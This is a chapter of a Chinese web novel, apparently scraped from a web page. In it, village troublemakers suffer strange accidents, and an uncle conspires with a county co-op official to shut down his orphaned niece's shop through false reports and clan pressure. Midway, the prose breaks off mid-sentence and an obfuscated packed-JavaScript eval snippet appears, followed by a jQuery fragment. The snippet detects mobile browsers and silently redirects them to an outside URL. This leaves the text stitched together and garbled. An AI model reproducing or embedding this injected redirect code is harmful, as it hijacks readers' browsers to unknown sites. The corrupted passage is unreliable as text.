..............
自那日铺子前一场对峙过后,程家村表面重归平静,可暗地里,怪事接二连三,接连发生。
最先出事的是王二混。
那日夜里,他在外头喝得酩酊大醉,孤身一人走乡间土路回家。
那段土路平整干燥,平日里走了千百遍,绝无打滑的缘由,可他脚下不知怎的,猛地一滑,整个人重重摔进路边泥泞深沟。
一声闷响过后,泥污裹满全身,脚踝当场扭曲肿起,青紫一片,疼得他满地打滚、哀嚎不止。
后续大夫上门诊治,断定是严重扭伤,筋骨受损,至少半个月没法下地走动。
不过两日,程建兵照常进山砍柴,平日里结实耐用、从未出过差错的捆柴麻绳,毫无征兆地骤然断裂。滚落的硬木柴块直直砸在他脚背上,力道沉重,瞬间砸出大片淤血乌青。
他疼得冷汗直冒,一瘸一拐挪下山,往后数日走路都颠簸别扭,更别说找人麻烦。
祸事并未就此停下。
此前跟着程建国在铺子里起哄撒泼的两个本家侄子,也接连遭殃。
年长的那个去河边摸鱼,明明河水浅显、河床平稳,脚下却莫名踩空,毫无缘由失足落水。
时值秋凉,河水刺骨,他被人捞上来时浑身冻得僵硬,当晚便高烧不退,昏昏沉沉躺在家中。
年纪最小的那个,夜里偷偷溜出去赌钱,行至偏僻巷口时,被暗处之人猛地按住,闷头一顿教训。
全程漆黑一片,他压根看不清来人样貌,只记得拳头落在身上的钝痛,以及一股说不清的阴冷寒意。事后旁人问起,他也说不出半个有用的字,只敢捂着伤处暗自后怕。
一桩桩,一件件,看似毫无关联。
每一件事都像是寻常意外,没有半分人为痕迹,找不出半点把柄,查不出一丝线索。
没有目击者,没有可疑痕迹,一切都巧合得离谱。
村里人素来迷信,心思敏感,稍加联想便恍然大悟。
这些出事的人,前几日全都扎堆在程子君的杂货铺里闹事,要么动手推搡,要么恶意污蔑,要么起哄捣乱。
流言蜚语悄然在村里蔓延,压低了声音,却传得飞快。
“都是前几日去为难那姑娘的人。”
“平白无故谁会出事?定是老天爷看不过眼,这是遭了报应。”
“做人做事不能太绝,那姑娘本本分分做生意,偏偏有人要刻意刁难,如今都是自食恶果。”
闲话碎语飘遍村里的田埂、巷口,人人都在议论这场突如其来的怪事。
唯独一人,始终安然无恙。
程建国他是那日闹事的领头人,也是刁难程子君最凶狠的一个,偏偏连日来无病无灾,身上连一处擦伤都没有。
旁人艳羡他运气好,可只有程建国自己清楚,他心底发慌,夜夜难安。
白日里,他依旧嘴硬,当着村民的面嗤笑嘲讽,故作坦荡:“什么报应?纯属一派胡言,都是巧合罢了,我压根不信这些邪
门东西。”
可夜深人静,孤身一人之时,他心底的惶恐便会肆意蔓延,压得他喘不过气。
夜风刮过窗棂,发出呜呜轻响,听得他头皮发麻。
他坐在炕沿,指尖无意识攥紧,指节泛白,心头反复琢磨:难道真这么邪门?
一念至此,脑海深处猛地闪过一段模糊又血腥的画面,压抑的窒息感扑面而来。
他杀……
思绪戛然而止。
“不对,不对。”
程建国猛地甩头,用力掐了一把掌心,强行压下脑海中的杂念,眼底闪过一丝慌乱与惊惧。
他用力深呼吸,不断自我宽慰,强迫自己摒弃胡思乱想。
不可瞎想,绝不可瞎想。
他强行压下心底的寒意,目光阴沉地望向程子君铺子的方向。
原本还想借着村里的怪事去闹上一场,可那日铺前对峙的画面再度浮现。
少女脊背挺直,言辞锋利如刀,字字句句都能戳中人心软肋,还敢直言押人去公社。
那张伶牙俐齿,着实难缠,硬碰硬他根本占不到半点便宜。
直白闹事行不通,硬刚更是得不偿失。
...............
硬路行不通,他第一时间便想到了城里的那个人。
隔天一早,天刚蒙蒙亮,晨雾还没散尽,程建国换了一身干净衣裳,偷偷搭着村里进城的拖拉机,往县城赶去。
县城代销社,副主任彭立。
客源被抢、生意锐减,代销社每月营收肉眼可见地下滑。
彭立对于除掉程子君这间私铺,他本就有想法,如今程建国主动送上门,正中他下怀。
“又来为你那侄女的事?”彭立吐出口烟雾,语气平淡,却带着毫不掩饰的厌烦。
程建国反手关上办公室的门,从怀里掏出用油纸包好的风干腊肉,悄悄塞到桌下,弯腰赔笑,语气满是讨好:“还是彭主任看得明白。那丫头越发无法无天,我实在没辙,只能再来麻烦您。”
彭立瞥了眼桌下的腊肉,神色微动,掐灭烟头,淡淡抬眼看向他:“说事。”
程建国当即把前几日铺子门口对峙、自己反被怼得哑口无言、村里人全都偏袒程子君的事说了一遍。
他刻意遮掩自己上门撒泼、动手打人的丑态,只说程子君目无尊长、狂妄放肆,还收留外乡男子,在村里惹出不少闲话。
“那丫头嚣张得很,半点不懂规矩!”程建国捏紧拳头,满脸愤懑,语气怨毒,“她那铺子抢遍周边生意,连镇上代销社的买卖都被挤兑了。我这个做二叔的好心管教,她反倒当众顶撞我,丝毫不把长辈放在眼里!”
这话恰好戳中彭立的痛点。
彭立指尖轻轻敲击桌面,眼底戾气一闪而过,神色冷了几分:“我早就看她不顺眼了。私自开铺,扰乱市面,抢了公家生意,本就不合规矩。你蛮力撒泼,反倒落人口实,让人抓了把柄,蠢得无可救药。”
一句话说得程建国脸颊发烫,窘迫地低下头:“我也是一时气急失了分寸。如今村里人都向着她,我孤身一人实在没办法,还得靠您指点路子。”
彭立嗤笑一声,眼神精明世故,看透乡下这点弯弯绕绕:“硬碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536629|203068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
硬最是下等。你不用动手,我带你操作。”
他身子微微前倾,语气平淡却字字阴毒,条理清晰地排布计策。
“第一步,走官方路子。”
彭立语气笃定,胸有成竹,“我来找人写匿名举报信,递去公社和工商所。就咬定她货源不明、没有经营资质、私下偷税牟利,还恶意扰乱周边市场秩序。公家查私铺本就是本分,用不着你出面,我来打通关节,自有干部上门查封核查。”
程建国眼睛骤然一亮,心头大石落地。
有彭立这个城里干部出手打点,远比他自己瞎撞靠谱百倍!
“那、那第二步呢?”程建国连忙追问,迫不及待想听后续计策。
“第二步,借宗族压人。”
彭立嘴角勾起一抹冷冽算计的笑,语气愈发阴柔:“你回去备好薄礼,我托人给你们村支书捎句话。你去游说族老,主打两件事:一是程家祖产归属,二是她收留外男、言行放肆,败坏族中名声。”
“乡下宗族最重脸面规矩,只要族老联名施压,逼着她归还祖产、关停店铺。一个无父无母的孤女,没有靠山,还能拗得过宗族、拧得动公家?”
此番谋划,步步阴狠,招招致命。没有直白打砸吵闹,全是规矩之内的暗算,杀人不见血,远比程建国自己撒泼胡闹高明数倍。
程建国听得浑身通透,眉眼间满是狂喜,连日压在心头的阴郁一扫而空。他连连点头,对着彭立不停道谢:“还是彭主任高明!有您出手,那丫头这次绝对跑不掉!”
彭立神色依旧冷淡,眼神阴鸷,淡淡叮嘱:“你回去安分待着,不要露面惹事。举报、打点、传话,全都由我来操作。你只管私下稳住族老,静待结果即可。”
“记住,躲在暗处,别留任何把柄。等她铺子被封、名声尽毁,到时候不用我们动手,她自然在程家村待不下去。”
“明白!我全都明白!”
程建国连连应声,眼底戾气翻涌,歹意毕露。
这一刻,他彻底抛却了心里那点对诡异报应的忌惮。
什么老天爷报应?什么邪门怪事?
有彭立在城里给他撑腰,有规矩和权势做利刃,他不信弄不倒一个孤女。
窗外日光透亮,落在代销社的玻璃窗上,明明是明媚白日,却照不进人心深处的阴暗。
彭立端起茶杯,目光阴冷望向程家村的方向。
程建国揣着一肚子歹毒算计,躬身告辞,急匆匆出城返程。
..........
一日清早,程建国揣着老旧旱烟杆,拎着两斤粗劣的散装糕点,挨家挨户奔走在村里几位辈分最高的老者家中。
最后众人齐聚在大长老那间土坯老宅的堂屋内,木桌摆着粗茶,烟气缭绕。
屋内坐着三位宗族长辈:主事的大长老思想古板、最重族规;二长老顽固刻薄,向来看不起女子经商、思想极端保守;三长老性子中庸心软,遇事摇摆不定,顾及外人闲话。
三人皆是程氏宗族里德高望重的长辈,一辈子恪守老旧规矩,打心底认定女子不该抛头露面,更没有资格掌家立业、开门做生意。